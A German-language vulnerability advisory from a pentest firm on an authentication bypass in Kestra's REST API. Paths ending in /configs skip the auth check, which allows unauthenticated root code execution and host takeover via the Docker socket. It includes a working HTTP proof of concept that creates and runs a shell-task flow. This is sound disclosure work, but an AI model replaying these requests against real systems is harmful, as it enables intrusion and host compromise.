Kestra: Unauthenticated RCE über `/configs`-Auth-Filter-Bypass

Ein nicht authentifizierter Angreifer umgeht den Basic-Auth-Filter der REST-API, indem er das Pfadsegment configs wählt, legt einen Flow mit einer Shell-Task an und führt ihn als root im Kestra-Container aus, was über den eingebundenen Docker-Socket zur Host-Übernahme führt.

Advisory-ID: TP-2026-009
Produkt: Kestra (weit verbreitete Open-Source-Plattform zur Workflow-Orchestrierung und -Steuerung)
Schwachstellentyp: Authentifizierungs-Bypass mit Folge Remote Code Execution (CWE-288, CWE-94)
CVE: CVE-2026-53576
CVSS 3.1: 10.0 (Kritisch) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Betroffene Versionen: ≤ 1.3.20
Behoben in: 1.3.21, 1.0.45
Hersteller-Advisory: GHSA-2q47-568g-9h4f
Gemeldet: 30. Mai 2026

Zusammenfassung

Kestra ist eine weit verbreitete Open-Source-Plattform zur Orchestrierung und zeitlichen Steuerung von Workflows. Der Authentifizierungsfilter der REST-API (@Filter("/api/v1/**")) behandelt jede Anfrage, deren Pfad auf /configs endet, als den öffentlichen Instanz-Konfigurations-Endpunkt und leitet sie ohne Anmeldeprüfung weiter. Da Kestra seine Ressourcen über frei wählbare Pfadsegmente adressiert, kann ein anonymer Aufrufer das Segment configs als letztes Element wählen und damit die Basic-Authentifizierung vollständig umgehen. Der Bypass erreicht die Routen zum Anlegen von Flows und zum Auslösen von Ausführungen, sodass ein nicht authentifizierter Angreifer einen Flow mit einer Shell- oder Process-Task anlegt und ausführt. Die Task läuft als root im Kestra-Container, und da das offizielle docker-compose.yml den Docker-Socket einbindet, lässt sich von dort auch der Host übernehmen. turingpoint hat den End-to-End-Ablauf live als unauthentifizierte RCE als root verifiziert und verantwortungsvoll an den Hersteller gemeldet.

Ursache

In webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java prüft der Filter den rohen Anfragepfad per Suffix statt der aufgelösten Route: boolean isConfigEndpoint = request.getPath().endsWith("/configs"). Trifft die Bedingung zu, gibt der Filter die Anfrage ohne Anmeldeprüfung an die Verarbeitungskette weiter (if (isConfigEndpoint || ...) return chain.proceed(request)), und die eigentliche Credential-Prüfung wird nie erreicht. Weil Kestra Ressourcen über vom Aufrufer gewählte Pfadsegmente adressiert (etwa /api/v1/{tenant}/flows/{namespace} oder /api/v1/{tenant}/executions/{namespace}/{id}), genügt es, configs als Namespace bzw. Flow-ID zu wählen, damit der Pfad auf /configs endet. Dadurch lassen sich der Flow-Create-Endpunkt (/api/v1/main/flows/configs) und der Execution-Trigger (/api/v1/main/executions/configs/configs) ohne jede Authentifizierung erreichen. Es ist weder ein Account noch eine Rolle, ein Passwort oder eine vom Opfer angelegte Ressource erforderlich. Der Hersteller hat den Filter so korrigiert, dass er den normalisierten Pfad exakt gegen /api/v1/configs prüft, statt nur auf das Suffix /configs zu testen.

Proof of Concept

Ohne Authentifizierungs-Header. Zuerst wird ein Flow namens configs im Namespace configs mit einer Shell-Task angelegt, anschließend ausgeführt:

# 1) Flow anlegen — Pfad endet auf /configs, der Auth-Filter wird umgangen
POST /api/v1/main/flows/configs HTTP/1.1
Content-Type: application/x-yaml

id: configs
namespace: configs
tasks:
  - id: pwn
    type: io.kestra.plugin.scripts.shell.Commands
    taskRunner:
      type: io.kestra.plugin.core.runner.Process
    commands:
      - id > /tmp/proof.txt

# Antwort: HTTP 200 (Flow gespeichert)

# 2) Ausführung auslösen — Pfad endet ebenfalls auf /configs
POST /api/v1/main/executions/configs/configs HTTP/1.1
Content-Type: multipart/form-data; boundary=x

# Die Task läuft als uid=0(root) im Container.
# Kontrolle: anonymer POST auf /api/v1/main/flows/other (endet nicht auf /configs) liefert 401.

Live verifiziert: Der anonyme Flow-Create und die Ausführung laufen als uid=0(root); aus dem Container erreicht curl --unix-socket /var/run/docker.sock die Docker-Engine des Hosts.

Auswirkung

  • Unauthentifizierte Remote Code Execution als root im Kestra-Container, ganz ohne Account.
  • Host-Übernahme über den eingebundenen /var/run/docker.sock, der vom Container-root erreichbar ist.
  • Anonymes Lesen gespeicherter Secrets und Flow-Quellen sowie anonymes Löschen von Flows und KV-Einträgen mit dem Namen configs.
  • Anonymes Herunterfahren des gesamten Servers über den nicht authentifizierten Management-Port (POST :8081/stop).

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.